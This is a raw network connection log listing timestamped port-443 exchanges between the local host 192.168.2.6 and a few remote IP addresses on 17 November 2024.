Nov 17, 2024 10:07:20.687839985 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.687866926 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.696672916 CET	49750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.696705103 CET	443	49750	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.697395086 CET	49750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.697405100 CET	443	49750	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.711745024 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.711756945 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.712347031 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.712353945 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.721790075 CET	443	49706	173.222.162.64	192.168.2.6
Nov 17, 2024 10:07:20.721874952 CET	49706	443	192.168.2.6	173.222.162.64
Nov 17, 2024 10:07:20.787858009 CET	443	49752	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.798727036 CET	443	49751	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.812388897 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.812521935 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.812711000 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.822374105 CET	443	49750	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.822508097 CET	443	49750	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.822557926 CET	49750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.831835032 CET	49752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.840626955 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.840783119 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.840831041 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.843656063 CET	49751	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.843952894 CET	49752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.843961954 CET	443	49752	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.844461918 CET	49752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.844468117 CET	443	49752	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.844634056 CET	49750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.844655991 CET	443	49750	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.844671011 CET	49750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.844679117 CET	443	49750	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.844763041 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.844777107 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.844789028 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.844799995 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.846383095 CET	49751	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.846438885 CET	443	49751	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.846797943 CET	49751	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.846854925 CET	443	49751	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.874349117 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.874350071 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.874418974 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.874455929 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.969333887 CET	443	49752	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.969409943 CET	443	49752	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.969470024 CET	49752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.972811937 CET	443	49751	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.972966909 CET	443	49751	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.973181963 CET	49751	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.986231089 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:20.986277103 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:20.986515999 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.001477003 CET	49752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.001502037 CET	443	49752	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.001517057 CET	49752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.001526117 CET	443	49752	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.005991936 CET	49751	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.005991936 CET	49751	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.006061077 CET	443	49751	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.006135941 CET	443	49751	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.011847973 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.011883974 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.011940956 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.050750017 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.050791979 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.135845900 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.135863066 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.217842102 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.217890024 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.217962027 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.235304117 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.235394955 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.235507965 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.289916992 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.289947033 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.344542027 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.344625950 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.370428085 CET	49760	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:21.370465994 CET	443	49760	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:21.370537043 CET	49760	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:21.370754957 CET	49760	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:21.370763063 CET	443	49760	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:21.372556925 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.372647047 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.372759104 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.426552057 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.426635981 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.490964890 CET	49762	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:21.491015911 CET	443	49762	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:21.491070986 CET	49762	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:21.491600990 CET	49762	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:21.491614103 CET	443	49762	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:21.551670074 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:21.551760912 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:21.551867962 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:21.552093029 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:21.552131891 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:21.590044975 CET	49764	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:21.590104103 CET	443	49764	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:21.590198040 CET	49764	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:21.590440035 CET	49764	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:21.590456963 CET	443	49764	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:21.787888050 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.788407087 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.788455009 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.788872957 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.788882971 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.859070063 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.859536886 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.859564066 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.860145092 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.860150099 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.917448997 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.917568922 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.917627096 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.917762041 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.917783022 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.917817116 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.917824984 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.921081066 CET	49767	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.921170950 CET	443	49767	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.921257973 CET	49767	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.921570063 CET	49767	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.921657085 CET	443	49767	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.989515066 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.990772009 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.990914106 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.999722004 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.999722004 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:21.999733925 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:21.999742985 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.004528046 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.004556894 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.004678011 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.005108118 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.005130053 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.020220995 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.021186113 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.021205902 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.021562099 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.021567106 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.078931093 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.079451084 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.079535961 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.080012083 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.080069065 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.150121927 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.150187969 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.150836945 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.150836945 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.150871992 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.150888920 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.154047012 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.154108047 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.154186010 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.154763937 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.154804945 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.166275024 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.166923046 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.166977882 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.167377949 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.167392015 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.211026907 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.211092949 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.211180925 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.211607933 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.211607933 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.211630106 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.211642981 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.218619108 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.218671083 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.218878984 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.219153881 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.219166994 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.233045101 CET	443	49760	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.233386993 CET	49760	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.233412981 CET	443	49760	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.235048056 CET	443	49760	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.235337973 CET	49760	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.236135960 CET	49760	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.236224890 CET	443	49760	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.236468077 CET	49760	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.236475945 CET	443	49760	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.283104897 CET	49760	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.296098948 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.296319962 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.296397924 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.296482086 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.296482086 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.296525002 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.296540022 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.299463987 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.299506903 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.299586058 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.299753904 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.299773932 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.331717014 CET	443	49762	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.332024097 CET	49762	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.332050085 CET	443	49762	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.333126068 CET	443	49762	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.333302975 CET	49762	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.333578110 CET	49762	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.333664894 CET	443	49762	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.333779097 CET	49762	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.375346899 CET	443	49762	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.376986027 CET	49762	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.377018929 CET	443	49762	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.406502008 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.406774998 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.406805992 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.409687996 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.409768105 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.410176039 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.410325050 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.410350084 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.423083067 CET	49762	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.451359987 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.454878092 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.454900980 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.466876030 CET	443	49764	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.467143059 CET	49764	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.467160940 CET	443	49764	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.468601942 CET	443	49764	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.468674898 CET	49764	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.469038963 CET	49764	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.469118118 CET	443	49764	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.469393015 CET	49764	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.469399929 CET	443	49764	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.490936995 CET	49762	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.491020918 CET	443	49762	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.491199970 CET	443	49762	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.491271019 CET	49762	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.491306067 CET	49762	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.508310080 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.512667894 CET	443	49760	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.512816906 CET	443	49760	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.512931108 CET	443	49760	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.513003111 CET	49760	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.513019085 CET	443	49760	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.513098001 CET	443	49760	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.513142109 CET	49760	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.513148069 CET	443	49760	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.513283014 CET	49760	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.513288021 CET	443	49760	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.523709059 CET	49764	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.564949989 CET	49760	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.564958096 CET	443	49760	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.565896988 CET	49760	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.566025019 CET	443	49760	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.566159964 CET	49760	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.650880098 CET	443	49767	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.651362896 CET	49767	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.651433945 CET	443	49767	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.651864052 CET	49767	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.651880026 CET	443	49767	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.691874027 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.691946983 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.691998959 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.692011118 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.692050934 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.692110062 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.692127943 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.692289114 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.692341089 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.692356110 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.702743053 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.702812910 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.702828884 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.750473976 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.750622988 CET	443	49764	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.751266003 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.751279116 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.751764059 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.751771927 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.752433062 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.752455950 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.787540913 CET	443	49767	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.787621975 CET	443	49767	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.787883997 CET	49767	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.787933111 CET	49767	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.787933111 CET	49767	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.787950993 CET	443	49767	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.787971973 CET	443	49767	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.790513039 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.790543079 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.790599108 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.790802956 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.790815115 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.799309969 CET	49764	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.799334049 CET	443	49764	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.799354076 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.800671101 CET	49764	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.800781965 CET	443	49764	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.800839901 CET	49764	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.811127901 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.811218023 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.811254978 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.811295033 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.811307907 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.811326981 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.811347008 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.815367937 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.815422058 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.815432072 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.824100971 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.824171066 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.824179888 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.832751036 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.832798004 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.832808018 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.841595888 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.841811895 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.841830969 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.850225925 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.850394964 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.850409985 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.859069109 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.859128952 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.859139919 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.870986938 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.871064901 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.871073961 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.883069992 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.883294106 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.883362055 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.883548975 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.883563995 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.883574009 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.883579969 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.886177063 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.886229038 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.886542082 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.886730909 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.886761904 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.888019085 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.888392925 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.888418913 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.888886929 CET	49769	443	192.168.2.6	13.107.246.45
